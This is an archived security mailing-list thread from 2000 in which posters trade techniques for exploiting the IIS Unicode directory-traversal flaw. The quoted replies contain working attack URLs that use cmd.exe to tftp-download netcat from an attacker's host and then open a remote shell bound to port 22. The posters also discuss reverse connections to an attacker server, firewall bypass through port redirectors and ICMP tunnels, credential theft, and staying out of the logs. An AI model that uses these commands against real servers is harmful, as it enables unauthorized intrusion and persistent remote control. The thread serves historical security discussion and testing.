Re: dos commands via iis 4 (TFTP)-NETBIOS

[booboo <booboo () 65535 COM>]

Final one on this I think. Since we have the Extended Unicode
Vulnerability already why not just modify iishack1.5 to create nc.exe
instead of eeyerulez.asp and then launch nc.exe directly there without
having to perform a buffer overlfow and crash the server.

BooBoo

On Wed, 15 Nov 2000, MadHat wrote:

> booboo wrote:
> > Since you already have more or less root level access on the web server
>
> You have nothing like root level access, you have what would be equiv.
> to nobody access...  very limited overall.  You have access as
> IUSER_<MACHINE> which is a member of the GUEST group, but with certain
> exploits, you can get that user added to the local Administrators
> group.  Then you have more or less root level access.
>
> > and since you have already copied cmd.exe to the wwwroot\msadc or \scripts
> > dir.. use echo with redirects to pipe(&APPEND) 256 bytes at a time of
> > nc.exe to a file in c:\temp... it would take much longer but it does not
> > rely on outward bound dataflows being allowed or having to stop and start
> > servers on ports that you need. If the Firewall is configured correctly
> > then you are not really gaining much by getting NC.exe on the server
> > anyway. Instead why not use this exploit to run netstat and use the
>
> I personally would rather have a shell on the box to be able to do
> things easily than to fight to get anything done through the web
> interface.  Once you have the shell, you could easily set up port
> redirectors to be able to do almost anything you want (after finding the
> holes in the ACLs).  Port redirector on the inside and outside and then
> you can use what ever protocol through the firewall on ports that are
> allowed.
>
> > results for TCP prediction attacks. Or re-direct the focus of the attack
> > to the source of connections to the web server which is likely to be
> > easier.. i.e. get authentication credentials from the source or take over
> > the connection with the current SSL session string from the users
> > temporary internet files. By the By the port I would go for is 25 since
> > many sites will e-mail request confirmations to their customers... thus
> > you could try creating a user account with added exchange profile and get
> > the file to your account that way.
>
> Like I have said, the port would just depend on the situation, each
> situation will open opps for different ports.
>
> > The question I guess is why put nc.exe up there at all. It is not very
> > inconspicous and it is not going to gain you much more of a foothold than
> > you already have.
>
> Like I said, I would rather have shell level access which make it easier
> to do what ever it is I want to do.  Not having to worry about if I can
> get a '=' to work in a URL :^).  And nc could be named anything,
> anywhere on the drive...  so it is easy to hide.  The name and location
> of nc is irrelevant.
>
> > Surely it would be better to enumerate the internal
> > network to find the host or hosts that contain the sensitive info.
>
> I still think that would be easier with a shell, being able to do NULL
> user connections I have found rather difficult though a browser with
> UNICODE.
>
> > Why not try to traceroute or ping out from the web server. If ICMP is
> > allowed out why not try to get one of those ICMP tunnel clients up
> > there and do a reverse tunnel? Less conspicuos Non?!
>
> All this is logged to the web server logs (all the UNICODE requests you
> send), once in with a shell no one even knows you are there (other than
> the entries you had to use to get the apps there and get them running),
> leave as few clues as possible.  If I can get nc on the box (and no nc
> is not the only choice) I can get a shell and do things much more
> quietly than I can continuing through a web server.
>
> I am not saying you can't do it without netcat, or that you are wrong.
> I am mearly presenting my method that I have used for testing this
> particular vuln.
>
>
> > Still no luck with the '=' sign.
> >
> > Cheers,BooBoo.
> >
> > On Wed, 15 Nov 2000, MadHat wrote:
> >
> > > "Bluefish (P.Magnusson)" wrote:
> > > > > http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+<IPADDR>+get+nc.exe+c:\inetpub\scripts\nc.exe
> > > > > http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\nc.exe+-l+-p+22+-t+-e+cmd.exe
> > > > > So after this, there is a port open (22 in this case as many admins will
> > > > > leave this open for SSH, but this is an NT box, which as we know rarely
> > > > > has SSH running on it) that I can telnet to and have a command prompt.
> > > >
> > > > An more reliable attack though, would be to download and execute a client
> > > > which connects to www.attacker.com:80, only port 80 won't be running a
> > > > webserver but a server for the client.
> > > >
> > > > That way it will overcome more firewalls; only an application level
> > > > firewall or a closed DMZ would cause problems, where as the attack you
> > > > describe rely on some server port not being firewalled.
> > >
> > > right, but this is all about misconfiguration.  If nothing is
> > > misconfigured, and all patches are up to date, then you don't even get
> > > this far.  The point was that once nc.exe is on the box, you can pick
> > > and choose the port(s) you want to bind to depending on the situation
> > > and the ACLs or firewall rules.  I chose 22 because it is often open for
> > > ssh, as I mentioned, but I could have chosen 25 is there wasn't an SMTP
> > > server,  but that was not left open in the case I was testing.  This is
> > > just one part of the overall penetration, you would have to know more
> > > info about the target before you can choose how to continue and what
> > > will be best for any particular situation.  I personally like netcat, so
> > > I chose that tool.  It is all personal preference, what you know and
> > > what you feel comfortable using.  There is no "final answer" here.
> > >
> > > --
> > > MadHat at unspecific.com
> > >                                    "The 3 great virtues of a programmer:
> > >                                       Laziness, Impatience, and Hubris."
> > >                                                  --Larry Wall
>
> --
> MadHat at unspecific.com
>                                    "The 3 great virtues of a programmer:
>                                       Laziness, Impatience, and Hubris."
>                                                  --Larry Wall